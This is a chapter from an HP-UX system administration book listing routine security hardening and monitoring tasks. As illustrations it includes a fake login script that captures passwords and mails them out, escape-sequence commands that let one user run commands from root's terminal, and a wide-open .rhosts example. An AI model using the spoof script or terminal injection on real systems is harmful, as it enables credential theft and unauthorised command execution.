29.4 Common Security Administration Tasks

   

29.4 Common Security Administration Tasks

The list of common security administration tasks is by no means exhaustive and should be considered only as a starting point. All tasks we consider in this section should automatically be added to this list; it's just that these tasks didn't fit conveniently into one of the previous sections. In fact, all tasks in this entire book could be seen as additional security- related tasks that we could add to this list; regular backups can certainly be considered as part of a security policy. The list we are constructing here is simply a list of logfiles and procedure that we would expect every administrator of an HP-UX system to undertake in order to establish a minimum awareness of the activities and state of security on a given system.

1. Make sure that root has a secure home directory.

2. Regularly check the content and structure of the /etc/passwd file.

3. Ensure that login sessions have either an automatic lock or logout facility enabled.

4. Disable the use of the write command.

5. Use restricted shells for non-root users wherever possible.

6. Enforce a policy whereby inactive accounts are disabled.

7. Regularly monitor logfiles associated with login activities.

8. Enforce password aging, even on non-Trusted Systems.

9. Maintain a paper copy of critical system logfiles and configuration details.

10. Periodically verify the integrity of all installed software components .

11. Monitor the system for SUID/SGID programs.

12. Disable/enable HP-UX privileges.

13. Avoid "buffer overflow" problems.

14. Keep up to date with security bulletins .

15. Consider running your own penetration tests.

16. Review /etc/inetd.conf regularly, and use the /var/adm/inetd.sec file extensively.

17. Consider populating your ARP cache with permanent entries.

18. Review who is using user -level equivalence for common network services.

19. Review whether you really need to support other network services.

20. Scrub data disks and tapes when disposing of them.

21. Review who has access to your computer rooms.

We expect that most of these tasks are already part of your day-to-day tasks. Let's review them briefly so we know what we are expecting.

29.4.1 Make sure that root has a secure home directory

The default home directory for root is / as we know. This is crazy because everyone can see every file you create. I like to create a separate directory called /.root with permissions of 0700 . The fact that it begins with a dot (.) is even better because users don't see dot-files by default when they list the contents of a directory. It's easy but effective. Oh, you will remember to update /etc/passwd , won't you?

29.4.2 Regularly check the content and structure of the /etc/passwd file

Use the pwck and grpck commands regularly. Watch for user accounts with no passwords, accounts with duplicate user IDs ( especially a user ID = 0), and home directories that don't exist. And be suspicious of user accounts that run a single command instead of a login shell.

29.4.3 Ensure that login sessions have either an automatic lock or logout facility enabled

UNIX logins (including CDE) allow for sessions to be locked out after a period of inactivity (POSIX/Korn shell LOGOUT environment variable). This is a good thing because leaving sessions logged in opens up the possibility of other users gaining unauthorized access to data and potentially changing passwords. There is also the possibility of someone running a spoof program via your shell that collects passwords:

 root@hpeos004[]  cat /tmp/login  #!/sbin/sh trap '' 1 2 3 25 for x in 1 2 3 do echo "login: \c" read username echo "Password: \c" stty -echo read password stty echo echo "\nLogin incorrect" echo "$username/$password"  mail [e-mail] done root@hpeos004[] 

If someone ran exec /tmp/login on a root session, you might quite happily retype your password three times thinking you had fat fingers that morning. After the third attempt, the exec script would terminate and return you to a real UNIX login process.

29.4.4 Disable the use of the write command

Allowing other users to send you messages on your terminal may seem like a good idea, but it's wrong . If a user can write to your terminal, he can program your function keys with UNIX commands and then execute one of those function keys, in effect executing a command from your terminal.

For some time now, HP-UX has disabled this capability. If you find this capability being reinstated, you may want to look at including the commands mesg n in /etc/profile and /etc/csh.login . You may also have to restrict access to the users' .profile / . cshrc / .login files, although this can be tricky in some situations. You can certainly secure root's files. If you don't believe the power of this feature, try this one:

1. Open two terminal sessions, one logged in as root and the other as a non-root user.

2. In the root window, ensure that others can write to your terminal.

   
   

    root@hpeos004[]  tty  /dev/ttyp1 root@hpeos004[]  mesg y  root@hpeos004[] 

   
   

3. In the non-root window, send an escape sequence to program the function key F1 of the root terminal:

   
   

    fred@hpeos004[fred]  echo "3&f1k0a8d5L  GO    mail^J\c" > /dev/ttyp1  

   
   

   I have programmed the function key F1 with the mail command.

4. Execute the command stored in the function key of the root window.

   
   

    fred@hpeos004[fred]  echo "3&f1E\c" > /dev/ttyp1  fred@hpeos004[fred] 

   
   

5. The result is that I have just executed the mail command as if I were sitting at the root window:

   
   

    root@hpeos004[]  mail  From root@hpeos004 Fri Oct 10 10:09:08 BST 2003 Received: (from root@localhost)         by hpeos004 (8.9.3/8.9.3) id KAA03036         for root; Fri, 10 Oct 2003 10:09:08 +0100 (BST) Date: Fri, 10 Oct 2003 10:09:08 +0100 (BST) From: root@hpeos004 Message-Id: <200310100909.KAA03036@hpeos004> hello ? 

   
   

Obviously, I could have programmed the function key with any UNIX command, which could have seriously compromised security!

This is a basic and simple example and depends on the fact that I know the escape sequence to program a terminal (an hpterm window in this example). The point is that any terminfo -based application that programs function keys needs this ability; untic hpterm and man 4 terminfo tells you all you need to know to program an hpterm window.

As mentioned previously, this feature has thankfully been disabled for HP-UX terminal device files by default. It's worth checking just in case.

29.4.5 Use restricted shells for non-root users wherever possible

HP-UX offers two restricted shells: rksh and rsh (the remote shell on other versions of UNIX!). The initial setup is straightforward; you specify the shell in the last field of the /etc/passwd file. The trickier part comes in setting up a profile for the user that meets all his needs. This can be tricky when we look at the limitation of a restricted shell:

• It cannot change the directory, i.e., cannot use cd .

• It cannot change the value of the SHELL , ENV , or PATH environment variables .

• It cannot specify a path or a command name containing a /.

• It cannot redirect output, i.e., >, <>, >>, >.

Initially, this doesn't seem too bad until you realize that you may have to spend some time customizing the PATH environment variable. I say this because most administrators will include the /usr/bin directory in a user's PATH . If you do include /usr/bin , be aware that if I were given a restricted shell and /usr/bin in my PATH , I would simply use the chsh command to change my shell in /etc/passwd . This leads to an interesting scenario whereby you may want to allow users to use some of the commands in /usr/bin , e.g., vi , ll , more , tail , cat , date , and so on, but not all of them. One solution I implemented was to create a bin directory in the user's HOME directory and then I set up a series of symbolic links to the commands to which the user would need access. The PATH variable could then include $HOME/bin , but not /usr/bin . This may take some time to customize because the user may want access to a large number of commands, which means you'd need to create a large number of symbolic links, and the user might periodically ask for more links (obviously, users can't do it themselves as they can use a path or command containing a /). This idea works on the principle of least privilege ; only give them access to what they need, no more, no less.

29.4.6 Enforce a policy whereby inactive accounts are disabled

We have looked at providing an account with a lifetime via Trusted Systems. There isn't really a way of enabling such a feature automatically without Trusted Systems; you would have to employ some manual procedures. It is also worth remembering that enable auditing gives you the chance to monitor user logins and logouts. If account details are compromised, hackers will probably log in and out outside of normal hours; isn't it worthwhile enabling time-based access controls?

29.4.7 Regularly monitor logfiles associated with login activities

UNIX provides a number of logfiles and associated commands that allow you to monitor login and logout activities (Table 29-2):

Table 29-2. Login/Logout Logfiles

Name of logfile(s)	Command to analyze logfiles
/etc/utmp, /var/adm/wtmp	/usr/bin/last
Use to record successful login/logout activity. Use the -R option; it gives the IP address, where appropriate, of where the user logged in from. Ensure that there is no world write access to the file or /etc; otherwise , users can amend their login/logout details. /var/adm/wtmp will grow without bound. Periodically reset the length of this file to zero bytes. If /var/adm/wtmp does not exist, you will have to create it manually.
/var/adm/btmp	/usr/bin/lastb
Use to record unsuccessful login/logout activity. Use the -R option; it gives the IP address, where appropriate, of where the user logged in from. Ensure that non-root users cannot read this file. Users can mistakenly enter their passwords as a username when logging in. This will be recorded as an unsuccessful login. Married with a successful login (from the last command), this can provide someone with a valid username/password combination: root@hpeos004[] lastb -R more fred123 pts/ta localhost Sat Oct 11 11:28 root 192.168.0.70 192.168.0.70:0 Fri Oct 10 09:54 root pts/0 192.168.0.70:0.0 Thu Oct 9 16:27 root 192.168.0.70 192.168.0.70:0 Thu Oct 9 16:25 ... root@hpeos004[] last -R more fred pts/ta localhost Sat Oct 11 11:28 - 11:28 (00:00) root pts/0 192.168.0.70:0.0 Sat Oct 11 11:22 still logged in root dtremote 192.168.0.70:0 Sat Oct 11 11:21 still logged in root console Sat Oct 11 11:20 still logged in reboot system boot Sat Oct 11 11:18 still logged in We can see an unsuccessful and then successful login attempt on the same terminal at roughly the same time. The information from the lastb command tells me that fred's password is probably fred123. Ensure that there is no world write access to the file or /etc; otherwise, users can amend their login/logout details. /var/adm/wtmp will grow without bound. Periodically reset the length of this file to zero bytes. /var/adm/wtmp does not exist, you will have to create it manually.
/var/adm/sulog	more, cat, tail - an ASCII file
Use to record successful and unsuccessful attempts of users to change their effective UID to anotherr userID using the su command. Monitors for attempts of users to change their effective UID to root using the su command. Ensure that there is no world write access to the file; otherwise, users can amend their su attempts. /var/adm/sulog will grow without bound. Periodically reset the length of this file to zero bytes. If /var/adm/sulog does not exist, you will have to create it manually.
/var/adm/syslog/syslog.log	cat, more, tail - an ASCII file
Can be used to log telnet sessions from a remote host, although no user information is recorded in syslog.log (see utmp, wtmp, and btmp above). Can be used to log ftp inbound sessions; you need the -l option appended to the ftpd entry in /etc/inetc.conf. Records logins from /bin/login when using capabilities configured in /etc/default/security file. File is renamed after every reboot to OLDsyslog.log. File will grow without bound, so you may need to reset the length of this file to zero bytes; be sure to keep a copy of the existing file beforehand!
/var/adm/shutdownlog	more, cat, tail - an ASCII file
Technically, this does not deal with login/logout events. Can log the use of shutdown and reboot commands. Can log a "reboot after PANIC" message If /var/adm/shutdownlog does not exist, you will have to create it manually.
/var/adm/cron/log	more, cat, tail - an ASCII file
Technically, this does not deal with login/logout events. Logs jobs executed by the clock daemon: cron Monitor the use of cron. Only users in /var/adm/cron/cron.allow should have access to cron. Ensure that cron jobs are not world- writeable ; otherwise, security may be compromised on a regular occurrence.

29.4.8 Enforce password aging, even on non-Trusted Systems

We discussed password aging in the Trusted System module at some length. This is a reminder that password aging is available in non-Trusted Systems. To enable password aging, we can either use the passwd command or manipulate the password aging characters in the /etc/passwd file directly. The password aging characters are separated from the encrypted password by a comma (,) character. Here, we can see an example using a non-Trusted System and a user charlesk :

 root@hpeos003[]  pwget -n charlesk  charlesk:Q2BGUB0vg2nnE:103:20::/home/charlesk:/sbin/sh root@hpeos003[] root@hpeos003[]  passwd -n 60 -x 90 charlesk  <min> argument rounded up to nearest week <max> argument rounded up to nearest week root@hpeos003[] root@hpeos003[]  pwget -n charlesk  charlesk:Q2BGUB0vg2nnE   ,B7WP   :103:20::/home/charlesk:/sbin/sh root@hpeos003[] 

There are two password aging characters manipulated via the n and x options. Both options are followed by a number of days. The number of days is rounded to the nearest number of weeks. Table 29-3 summarizes this information.

Table 29-3. Password Aging on a Non-Trusted System

Option Used	Description
-n <days>	The minimum time the user must retain this password. This option ensures that the user does not change his password back to a previous password, as soon as he is forced to change the password because it has expired . In our example, we specified 60 days 9 weeks.
-x <days>	The maximum time the password is valid. The first time the user logs in after this time, he will be forced to change his password. In our example, we specified 90 days 13 weeks.

Once the passwd command has converted the number of days into weeks, it needs to encode this as a password aging character. Table 29-4 shows the conversion of the number of weeks into a password aging character:

Table 29-4. Password Aging Characters

Number of Weeks	Password Aging Character
	.
1	/
2 - 11	0 - 9
A - Z	11 - 37
a - z	38 - 63

Now let's decode what the password command has entered into the /etc/passwd file:

,B7WP

• B = the maximum number of weeks the password is valid. From the table above, B = 12 weeks as calculated previously.

• 7 = the minimum number of weeks the user must retain this password. From the table above, 7 = 9 weeks as calculated previously. The fact that 7 can equal 9 is a testament to the wackiness of UNIX. The reason is that it is difficult to encode the number 10 with a single digit, so 8 = 10 weeks, and so on. Regardless of the reasoning, this can make your head hurt.

• WP = the week number, since Thursday, 1 January 1970, when the password was last changed. This value in conjunction with the other password aging characters will determine when the password needs to be changed next .

A plain English interpretation of the aging characters above could be explained this way: "The user must retain his current password for two months (approximately 60 days 9 weeks). After this time, he can change his password if he wishes. If he does not change his password, he will be forced to change his password after an additional one month and then every three-month period (approximately 90 days 12 weeks) from the time he last changed his password."

29.4.9 Maintain a paper copy of critical system logfiles and configuration details

If you suspect a security breach, it is vital to maintain a paper trail of all suspicious activity. In the event that criminal proceedings are taken against an unauthorized user, your signed and dated paper trail will prove to be crucial evidence. Backup copies of the individual logfiles themselves can corroborate this. The logfiles we are considering are all the login/logout files mentioned previously as well as all relevant extracts from system auditing logfiles if applicable . A classic case to demonstrate the necessity for a signed and dated paper trail is the events surrounding the break-in and subsequent investigation documented in Clifford Stoll's excellent book The Cuckoo's Egg (a must-read )!

The other aspect of this point is to maintain a paper copy of all critical system configuration files in case a break-in does occur and you need to rebuild your system. I am not only thinking of critical system configuration files but also the output from commands that will display system configuration information. The list in Table 29-5 is by no means exhaustive and may include files not relevant to your configuration. If nothing else it gives us a starting point:

Table 29-5. System Configuration Information to Keep on File

/etc/passwd	/etc/ group	/etc/ hosts
/etc/rc.config.d/*	ioscan -fn	vgdisplay -v
lvdisplay -v <lvol> (for every lvol)	lvlnboot -v	/etc/fstab
lifls /dev/rdsk/<boot disks>	lifcp /dev/rdsk/<boot disks>: AUTO	setboot
parstatus (if applicable)	parstatus -Vp <partition> (for all partitions)	vparstatus -vp <partiton name> (if applicable)
vxprint (if applicable)	kmtune	kmsystem
/stand/system	kmadmin -s	/etc/pam.conf
/secure/etc/audnames	netstat -in	/etc/gated.conf
/etc/named.conf	/etc/services	/etc/inetd.conf
/etc/protocols	/etc/ntp.conf	/etc/ bootptab
/etc/dhcptab	/etc/ppp/*	/etc/opt/*
/etc/privgroup

An excellent tool to assist in this task is System Configuration Repository (SCR), which can take a snapshot of major system components. These snapshots can be run periodically and compared against previous snapshots to uncover changes. This tool can be used to help in changing management, security, and disaster-recovery procedures.

29.4.10 Periodically verify the integrity of all installed software components

Software Distributor provides a mechanism to verify that software components are still configured as they were when originally installed. The command is swverify . We can run swverify against a product, a fileset, or all software currently loaded. The output will tell us what has changed. Changes can happen for various reasons, e.g., a patch modifies permissions, a logfile is updated, and files get renamed. The difficult part of swverify is to work out whether a change is valid. There is no easy answer to this. Here's one potential solution that doesn't actually use swverify , but it accomplishes the same objective:

• Install the operating system.
  
  
• Install all relevant applications.
  
  
• Apply all relevant patches (including using security_patch_check ).
  
  
• Perform a penetration test.
  
  
• Apply all relevant updates based on the penetration test.
  
  
• Install/set up an Intrusion Detection System (IDS/9000).
  
  
• Monitor changes to critical files via IDS/9000.
  
  

29.4.11 Monitor the system for SUID/SGID programs

SUID/SGID programs are used by UNIX itself. In themselves, they are not necessarily a security threat. If they are not written with careful thought and consideration, they can pose a major security hole for a system. We should establish the list of SUID/SGID programs when a system is initially installed. We should review this list as to which we will retain. Removing system binaries can be dangerous, so be careful. Periodically we should establish a new list of existing SUID/SGID programs and scripts. We can compare the new list with our original list and work out why we have new SUID/SGID programs installed on our system. The following could find all SUID/SGID programs and scripts:

 root@hpeos004[]  find / \(-perm -04000 -o -perm -02000 \) -exec ll {} \;  

You should also consider using the nosuid option to the mount command wherever possible. This will disallow the setting of the SUID bit for all files and directories within that filesystem.

29.4.12 Disable/enable HP-UX privileges

HP-UX privileges are controlled by the setprivgrp command. Normally, the only privilege a non-root user has is the privilege to use the chown command on their own files. When we think about it, even that privilege is suspect. Why would a user want to use the chown command? Does it actually happen in real life? I don't think so. Let's look at setting and modifying privileges:

 root@hpeos004[]  getprivgrp  global privileges: CHOWN root@hpeos004[] 

Here we can see the default global privileges. Now let's delete these privileges:

 root@hpeos004[]  setprivgrp -g  root@hpeos004[]  getprivgrp  global privileges: root@hpeos004[] 

This will have an immediate impact on a user's ability to use the chown command:

 fred@hpeos004[fred]  ll  total 2 -r--r--r--   1 fred       users          862 Oct 11 14:40 myfile drwx--x---   2 fred       users           96 Oct  2 11:24 private fred@hpeos004[fred]  chown barney myfile  myfile: Not owner fred@hpeos004[fred] 

Commonly, RDBMS applications like Oracle will want to lock their processes into memory. The application will make use of the plock() and shmctl() system calls to lock private and shared objects. This requires the MLOCK privilege to be given to the group the oracle user belongs to:

 root@hpeos004[]  pwget -n oracle  oracle:*:102:102:Oracle:/home/oracle:/usr/bin/sh root@hpeos004[]  grget -g 102  dba::102:oracle root@hpeos004[]  setprivgrp dba MLOCK  root@hpeos004[]  getprivgrp dba  dba: MLOCK root@hpeos004[] 

To ensure that this configuration survives a reboot , we need to update the file /etc/privgroup :

 root@hpeos004[]  vi /etc/privgroup  -g dba MLOCK root@hpeos004[] 

The privileges that can be applied are RTPRIO , MLOCK , CHOWN , LOCKRDONLY , SETRUGID , MPCTL , RTSCHED , SERIALIZE , SPUCTL , FSSTHREAD , and PSET .

Such a configuration is highly dependent on your application. Check your application installation instructions, or talk to your application supplier before setting such privileges. Inappropriate privileges can have an adverse effect on your system.

29.4.13 Avoid "buffer overflow" problems

Lots of security vulnerabilities experienced in the not-so- distant past have been known as buffer overflow or crashing the stack problems. This is where a program asks for input, e.g., the passwd command. Instead of just reading the required information, i.e., the 8-character password, the program reads everything the user passes from the command prompt (a case of lazy programming?). If a user knows the precious format of executable code, then he could supply this extended input string along with the required password. In effect, this puts executable code (or a reference to a relevant memory location) into the program stack of the running process. The next event to occur is that the program will read the next instruction from its stack, which happens to instruct it to start executing the user-supplied code. Executing user-supplied code directly from the program stack is not a normal occurrence; some self-generating compilers or self-generating Web-based applications may require this feature, but not normal programs. HP-UX now provides a kernel parameter that can disable this feature for the entire system by default. The kernel parameter is executable_stack . The default behavior is to allow code to execute from a program stack:

 root@hpeos004[]  kmtune -q executable_stack  Parameter           Current Dyn Planned                    Module     Version ============================================================================= executable_stack            1  -  1 root@hpeos004[] 

If we turn this OFF (set the kernel variable to zero (0)), then any program trying to use this feature is sent a KILL signal (you can set the kernel variable to two (2), whereby the process is not killed but simply sent a warning message). Once we have disabled the feature for the entire system, we can start to identify any programs that individually may require this feature. We can assess whether this behavior is appropriate and necessary on a program-by-program basis. For those few programs that require the feature, we can turn ON the feature by using the +es to the chatr command:

 root@hpeos004[]  chatr programX  programX:          64-bit ELF executable          shared library dynamic path search:              LD_LIBRARY_PATH    enabled  first              SHLIB_PATH         enabled  second              embedded path      enabled  third  /usr/lib/pa20_64:/opt/langtools/lib/pa20_64:          shared library list:              libelf.2              libc.2          shared library binding:              deferred          global hash table disabled          shared library mapped private disabled          shared library segment merging disabled          shared vtable support disabled          segments:              index type     address      flags size                  6 text 4000000000000000 z---c    D (default)                  7 data 8000000100000000 ---m-    D (default)   executable from stack: D (default)   kernel assisted branch prediction enabled          lazy swap allocation for dynamic segments disabled root@hpeos004[] root@hpeos004[]  chatr +es enable programX  programX:    current values:          64-bit ELF executable          shared library dynamic path search:              LD_LIBRARY_PATH    enabled  first              SHLIB_PATH         enabled  second              embedded path      enabled  third  /usr/lib/pa20_64:/opt/langtools/lib/pa20_64:          shared library list:              libelf.2              libc.2          shared library binding:              deferred          global hash table disabled          shared library mapped private disabled          shared library segment merging disabled          shared vtable support disabled          segments:              index type     address      flags size                  6 text 4000000000000000 z---c    D (default)                  7 data 8000000100000000 ---m-    D (default)   executable from stack: D (default)   kernel assisted branch prediction enabled          lazy swap allocation for dynamic segments disabled    new values:          64-bit ELF executable          shared library dynamic path search:              LD_LIBRARY_PATH    enabled  first              SHLIB_PATH         enabled  second              embedded path      enabled  third  /usr/lib/pa20_64:/opt/langtools/lib/pa20_64:          shared library list:              libelf.2              libc.2          shared library binding:              deferred          global hash table disabled          shared library mapped private disabled          shared library segment merging disabled          shared vtable support disabled          segments:              index type     address      flags size                  6 text 4000000000000000 z---c    D (default)                  7 data 8000000100000000 ---m-    D (default)   executable from stack: enabled   kernel assisted branch prediction enabled          lazy swap allocation for dynamic segments disabled root@hpeos004[] 

This setting is now permanently enabled for that program alone (unless we install a new program or change the attribute later). Personally, I would like to see the default behavior disabled because so few programs actually require it. In this way, HP would be promoting a more secure environment from the outset. Maybe one day.

29.4.14 Keep up to date with security bulletins

HP regularly publishes security bulletins in response to known security threats. You can keep up to date with these security bulletins by subscribing to the mailing list to receive regular updates. This is done by navigating to http://itrc.hp.com and then clicking the link on the main pages titled "Subscribe to security bulletins and patch digests".

You can also keep up to date with general security bulletins by subscribing to the Computer Emergency Response Team (CERT) at http://www.cert.org/contact_cert/certmaillist.html.

29.4.15 Consider running your own penetration tests

Penetration tests are designed so that you can find potential weaknesses in your system and network security before someone else does. You could employ third-party security companies to perform these tests; in fact, this is sometimes a good idea because they will generally have techniques and tricks that are at the cutting edge of the security community and have no preconceived ideas about what your level of security is. The drawback is that such penetration tests can be expensive and may require the third party to sign extensive Non-Disclosure Agreements to prevent them from leaking any company-sensitive information regarding your level of security.

Tools are available that allow you to perform initial penetration tests of your own. These tools will probe known vulnerabilities in operating system and network security. Some of these tools include:

SATAN (Security Administrator Tool for Analyzing Networks) : A testing and reporting tool that collects a variety of information about networked hosts. SATAN is similar to other tools such as COPS in its moral standpoint. Usually available at ftp:/ftp.win.tue.nl/pub/security. You can find an excellent SATAN archive at http://www.cerias.purdue.edu/ coast /satan.html.

COPS (Computer Oracle and Password System) : A publicly available collection of programs that attempt to identify security problems in a UNIX system. COPS does not attempt to correct any discrepancies found; it simply produces a report of its findings. Available at ftp://coast.cs.purdue.edu/pub/tools/unix/ scanners /cops/.

ISS (Internet Security Scanner) : A program that interrogates all computers within a specified IP address range, determining the security posture of each with respect to several common system vulnerabilities. Available at ftp://coast.cs.purdue.edu/pub/tools/unix/scanners/iss/.

An excellent source for such tools is the Computer Operation, Audit, Security, and Technology (COAST) project at Purdue University. COAST can be found at http://www.cs.purdue.edu/coast. COAST is now a part of the CERIAS (Center for Education and Research in Information Assurance and Security) project. You can find out what CERIAS is all about at http://www.cerias.purdue.edu/.

29.4.16 Review /etc/inetd.conf regularly and use the /var/adm/inetd.sec file extensively

The /etc/inetd.conf file is used to manage a large number of common network daemons. The first thing to note is that it is highly desirable to enable logging of inetd activity by ensuring that the l option is adding to the INETD_ARGS variable in the startup configuration file /etc/rc.config.d/netdaemons :

 root@hpeos004[]  vi /etc/rc.config.d/netdaemons  ######################################### # inetd configuration. See inetd(1m)   # ######################################### # # @(#)B.11.11_LR # #  Super daemon for various Internet Services # #  NOTE: inetd is always started as part of the boot up process. # # INETD_ARGS:         The command line arguments to be used when #                       starting inetd. ("-l" is the only option #                       available at startup.) # export INETD_ARGS="-l" 

Consequently, you may want to consider rerouting all daemon level syslog messages to a separate logfile; otherwise, syslog.log will become overloaded with messages that may result in your missing an important error/activity message. Here, I have modified syslog.conf to send daemon messages to a new file /var/adm/syslog/netdaemon.log :

 root@hpeos004[]  vi /etc/syslog.conf  # @(#)B.11.11_LR # # syslogd configuration file. # # See syslogd(1M) for information about the format of this file. #  daemon.debug            /var/adm/syslog/netdaemon.log  mail.debug              /var/adm/syslog/mail.log *.info;mail.none;  deamon.none  /var/adm/syslog/syslog.log auth.debug              /var/adm/syslog/auth_debug.log *.alert                 /dev/console *.alert                 root *.emerg                 * root@hpeos004[] root@hpeos004[]  kill -HUP $(cat /var/run/syslog.pid)  root@hpeos004[] root@hpeos004[]  ll /var/adm/syslog  total 278 -rw-r--r--   1 root       root          8151 Oct 11 11:12 OLDsyslog.log -r--r--r--   1 root       root          6404 Oct 11 14:40 auth_debug.log -r--r--r--   1 root       root         60090 Oct 11 11:19 mail.log -r--r--r--   1 root       root             0 Oct 11 15:43 netdaemon.log -rw-r--r--   1 root       root         26131 Oct 11 15:42 syslog.log root@hpeos004[] 

You may also want to create a startup routine that manages this additional logfile. I know some administrators who update /sbin/init.d/syslogd to manage this new logfile. While this seems a good idea at first, if we were to apply a patch or upgrade the operating system, there is nothing to say the startup script for syslogd wouldn't be updated as well.

The in-bound services that you enable or disable in /etc/inetd.conf are dependent on your particular installation. A philosophy adopted by many security-minded administrators is to turn OFF all service in /etc/inetd.conf and only turn ON the services explicitly needed; this is a least-privilege approach. I thoroughly agree with this philosophy because you may have unknowingly enabled services in which a hacker has found a trap door. For the remaining services, investigate each service for any security features such as restricted access ( remshd l ), explicit service-level logging ( ftpd l ), and displaying security-related warning messages to users before login ( telnetd b ).

Another important aspect of inetd is the security file /var/adm/inetd.sec . By default, all enabled services will allow any host to access these services. With a simple entry in inetd.sec , we can restrict access to specific hosts, IP address, or network addresses. Employing a least-privilege approach is useful here; only allow the hosts you know and trust. Here, I am allowing only hosts hpeos001 , hpeos002 , and hpeos003 access to the telnet service.

 root@hpeos004[]  vi /var/adm/inetd.sec  telnet allow hpeos001, hpeos002, hpeos003 root@hpeos004[] 

It should be noted that this level of security assumes that the IP address/hostname identity of a machine is sufficient. It is very easy for another host to adopt the IP identity of another machine (known as spoofing ). See " Consider populating your ARP cache with permanent entries " for details of how to alleviate such a problem.

29.4.17 Consider populating your ARP cache with permanent entries

The ARP cache is populated on an as-needed basis. This is a convenient and reasonably efficient mechanism to ensure that nodes can communicate. However, if one node is assuming the identity of another node (known as spoofing ), we may be communicating with the wrong node. Having the ARP cache populated with permanent entries (via a separate preconfigured file) means that we would only communicate with a node via its known MAC/station address. Here, I am adding a permanent entry for one particular known host, hpeos003 :

 root@hpeos004[]  vi /etc/arp.conf  hpeos003 0:30:6e:5c:3f:f8 root@hpeos004[]  arp -f /etc/arp.conf  root@hpeos004[]  arp -a  192.168.0.70 (192.168.0.70) at 0:8:74:e5:86:be ether 192.168.0.70 (192.168.0.70) at 0:8:74:e5:86:be ether hpeos003 (192.168.0.33) at 0:30:6e:5c:3f:f8 ether permanent root@hpeos004[] 

Nodes with multiple interfaces may need multiple entries. Nodes employing APA need all APA-capable MAC addresses listed.

You need to write a bespoke startup routine to ensure that these entries are added to the ARP cache after every reboot.

NOTE : If a node replaces a LAN card or adjusts its MAC address via the lanadmin command, you need to redo this configuration.

29.4.18 Review who is using user-level equivalence for common network services

The common network services remsh , rlogin , rcp, ftp , and rexec are able to use user-level equivalence configuration files. Most security-aware sites ensure that these configuration files are not allowed and are periodically removed from the filesystem. Here, we can see that the user fred is allowing anyone on the entire network to log in to his account without knowing fred 's password:

 fred@hpeos004[fred]  pwd  /home/fred fred@hpeos004[fred]  cat .rhosts  + + fred@hpeos004[fred] 

An easy solution for this problem is to ensure that the l option is added to the command line for the remshd and rlogind service in /etc/inetd.conf which disable checking the $HOME/.rhosts file for non-root users (although just about every organization I have worked in has never allowed the use of .rhosts for root equivalency):

 root@hpeos004[]  grep -e '^login' -e '^shell' /etc/inetd.conf  login   stream  tcp6    nowait  root    /usr/lbin/rlogind       rlogind -l shell   stream  tcp6    nowait  root    /usr/lbin/remshd        remshd -l root@hpeos004[] 

Remember, this is not the default. If you make any changes to /etc/inetd.conf , be sure to to run inetd c to make the changes effective immediately.

If you have to provide user-level equivalence, it is always best to provide it via the /etc/hosts.equiv file whereby the administrator has ultimate control and only those users with equivalent accounts on multiple machines will be able to use the facility.

As far as ftp and rexec are concerned , you should periodically find, remove, and then chastise the offending users of any . netrc files found on the system. The $HOME/.netrc file contains plain-text usernames and passwords and as such are seen as a major security problem. In most sites, there is no argument; you get rid of them and maybe explain to the offending users the error of their ways . In most security-conscious sites, all users will be made aware of major IT-related security concerns, including the use of files like .netrc .

29.4.19 Review whether you really need to support other network services

The list is long here but follows the same methodology/philosophy as our discussion on inetd : Adopt a least-privilege mentality . HP-UX enables lots of network services automatically at installation time. A significant number of nodes do not need these services, and by disabling them you are not only locking down any potential security problems, but also potentially speeding up the time it takes an individual system to boot. Here a just a few of the services that are started by default on my machine. This list is in no way exhaustive and I am not advocating shutting down any of these applications. It's just that I know in many cases on some of my machines I have shut these services down because no one uses them on the machines in question. Here are some services to think about:

• NFS Server

• NFS client

• Sendmail Server

• DCE rpc daemon

• Network Time Protocol daemon

• HP A5277A Disk Array Manager

• X Font Server

• HP Distributed Print Server

• Audio Server daemon

• USB hub daemon

As always, you need to carefully review whether any of the services you are turning off are actually needed. Be careful.

29.4.20 Scrub data disks and tapes when disposing of them

Whenever you discard old disk or tapes, you should remember that there is still data only those devices. You should employ some mechanism of destroying the data on those devices such that it cannot be retrieved. A program such as mediainit will write a series of 1s and 0s over the entire media, effectively performing a low-level format. This process can take some time, but it is crucial to ensure that your data is not accidentally picked up and read by someone else. Some diagnostic programs can perform low-level read and write tests on disk and tape media. Some of these diagnostic programs are password protected and accessible only by HP Support Staff.

Scrubbing data disks and tapes is particularly necessary if you employ the services of a disaster recovery company. It is common to perform regular offsite disaster recovery tests. Once the test is complete, you must insist on being present when all media used in the test is effectively wiped clean.

29.4.21 Review who has access to your computer rooms

Most HP servers exist within a computer-room environment. Most organizations will employ physical barriers (a locked door) to stop unauthorized access to computer hardware. Most organizations also employ cleaning staff that regularly has free and easy access to computer rooms. One organization I worked with found that machines (printers, in this instance) were being hidden in large laundry bins (covered by dirty laundry) and wheeled out of the office under the noses of the security staff.

Another aspect of computer-room security deals with firewalls and external walls. In one incident I was privy to, a cleaner was adamant that he had to clean the computer room, even though he was now disallowed due to the sensitive nature of the data held within. Not to be outdone, this smart individual decided to lift a floor tile and crawl under the (supposed) highly secure perimeter security into the computer room. We could not work out how our strategically positioned dirty coffee cups were being cleared away every evening until we decided to stay back one evening, hide behind a rack of tapes, and watch.

It is worth remembering that anyone who can sit in front of a system console can usually enter a ctrl-b keystroke and get to a CM> (command prompt) whereby they can reset the system and then initiate a single-user mode boot. You need to think about two things:

• Set up secure GSP/MP logins where appropriate.

• Set up boot authentication on Trusted Systems.

A comprehensive checklist of security-related topics that covers UNIX is in the excellent book by Garfinkel and Spafford, Practical UNIX and Internet Security , 2nd edition, Appendix A, page 819. It should be noted that HP-UX specific details covered in the checklist above might not necessarily be covered in the Garfinkel and Spafford book.